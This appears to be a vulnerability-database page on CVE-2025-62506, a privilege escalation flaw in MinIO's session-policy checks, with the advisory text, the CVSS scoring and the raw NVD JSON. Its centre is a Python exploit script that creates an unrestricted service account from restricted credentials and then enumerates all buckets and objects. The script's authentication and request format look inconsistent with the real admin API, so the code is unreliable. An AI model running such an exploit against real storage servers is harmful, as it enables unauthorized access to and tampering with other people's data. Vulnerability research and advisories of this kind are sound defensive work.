Security Vulnerability Report
中文
CVE-2025-62506 CVSS 8.1 HIGH

CVE-2025-62506

Published: 2025-10-16 22:15:32
Last Modified: 2026-04-15 00:35:42

Description

MinIO is a high-performance object storage system. In all versions prior to RELEASE.2025-10-15T17-29-55Z, a privilege escalation vulnerability allows service accounts and STS (Security Token Service) accounts with restricted session policies to bypass their inline policy restrictions when performing operations on their own account, specifically when creating new service accounts for the same user. The vulnerability exists in the IAM policy validation logic where the code incorrectly relied on the DenyOnly argument when validating session policies for restricted accounts. When a session policy is present, the system should validate that the action is allowed by the session policy, not just that it is not denied. An attacker with valid credentials for a restricted service or STS account can create a new service account for itself without policy restrictions, resulting in a new service account with full parent privileges instead of being restricted by the inline policy. This allows the attacker to access buckets and objects beyond their intended restrictions and modify, delete, or create objects outside their authorized scope. The vulnerability is fixed in version RELEASE.2025-10-15T17-29-55Z.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

MinIO < RELEASE.2025-10-15T17-29-55Z

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62506 PoC - MinIO Privilege Escalation via Session Policy Bypass # This PoC demonstrates how a restricted service account can escalate privileges # by creating a new service account that inherits full parent privileges import requests import json # Target MinIO server configuration MINIO_ENDPOINT = "https://minio-target.example.com" # Restricted service account credentials (with inline policy restrictions) ACCESS_KEY = "RESTRICTED_ACCESS_KEY" SECRET_KEY = "RESTRICTED_SECRET_KEY" def create_privileged_service_account(): """ Exploit CVE-2025-62506: Create a new service account using restricted credentials. Due to the vulnerability, the new account will have full parent privileges instead of being restricted by the inline policy. """ # Step 1: Authenticate as the restricted service account session = requests.Session() # Step 2: Call the CreateServiceAccount API # The IAM policy validation logic incorrectly uses DenyOnly check, # so it only verifies the action is not denied, not whether it's allowed url = f"{MINIO_ENDPOINT}/minio/admin/v3/create-service-account" payload = { "accessKey": "ESCALATED_ACCOUNT_KEY", "secretKey": "ESCALATED_ACCOUNT_SECRET", "description": "Exploited account via CVE-2025-62506", "policy": "" # Empty policy means no restrictions - should be blocked by session policy } headers = { "Authorization": f"Bearer {ACCESS_KEY}:{SECRET_KEY}", "Content-Type": "application/json" } response = session.post(url, headers=headers, json=payload) if response.status_code == 200: print("[+] Successfully created escalated service account!") result = response.json() print(f"[+] New AccessKey: {result.get('accessKey')}") print(f"[+] New SecretKey: {result.get('secretKey')}") print("[+] The new account has FULL parent privileges, bypassing inline policy!") return result else: print(f"[-] Failed: {response.status_code} - {response.text}") return None def access_unauthorized_buckets(new_credentials): """ Use the newly created unrestricted service account to access buckets and objects that should be restricted by the inline policy. """ from minio import Minio client = Minio( MINIO_ENDPOINT.replace("https://", "").replace("http://", ""), access_key=new_credentials["accessKey"], secret_key=new_credentials["secretKey"], secure=True ) # List all buckets - should be restricted but is now accessible buckets = client.list_buckets() print(f"[+] Accessible buckets (should be restricted): {[b.name for b in buckets]}") # Access restricted objects for bucket in buckets: objects = list(client.list_objects(bucket.name, recursive=True)) print(f"[+] Objects in '{bucket.name}': {[o.object_name for o in objects]}") if __name__ == "__main__": print("[*] CVE-2025-62506 - MinIO Privilege Escalation PoC") print("[*] Affected: All versions prior to RELEASE.2025-10-15T17-29-55Z") print() new_account = create_privileged_service_account() if new_account: access_unauthorized_buckets(new_account)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62506", "sourceIdentifier": "[email protected]", "published": "2025-10-16T22:15:31.703", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "MinIO is a high-performance object storage system. In all versions prior to RELEASE.2025-10-15T17-29-55Z, a privilege escalation vulnerability allows service accounts and STS (Security Token Service) accounts with restricted session policies to bypass their inline policy restrictions when performing operations on their own account, specifically when creating new service accounts for the same user. The vulnerability exists in the IAM policy validation logic where the code incorrectly relied on the DenyOnly argument when validating session policies for restricted accounts. When a session policy is present, the system should validate that the action is allowed by the session policy, not just that it is not denied. An attacker with valid credentials for a restricted service or STS account can create a new service account for itself without policy restrictions, resulting in a new service account with full parent privileges instead of being restricted by the inline policy. This allows the attacker to access buckets and objects beyond their intended restrictions and modify, delete, or create objects outside their authorized scope. The vulnerability is fixed in version RELEASE.2025-10-15T17-29-55Z."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/minio/minio/commit/c1a49490c78e9c3ebcad86ba0662319138ace190", "source": "[email protected]"}, {"url": "https://github.com/minio/minio/pull/21642", "source": "[email protected]"}, {"url": "https://github.com/minio/minio/security/advisories/GHSA-jjjj-jwhf-8rgr", "source": "[email protected]"}, {"url": "https://github.com/minio/minio/discussions/21655", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://github.com/minio/minio/issues/21647", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://news.ycombinator.com/item?id=45684035", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}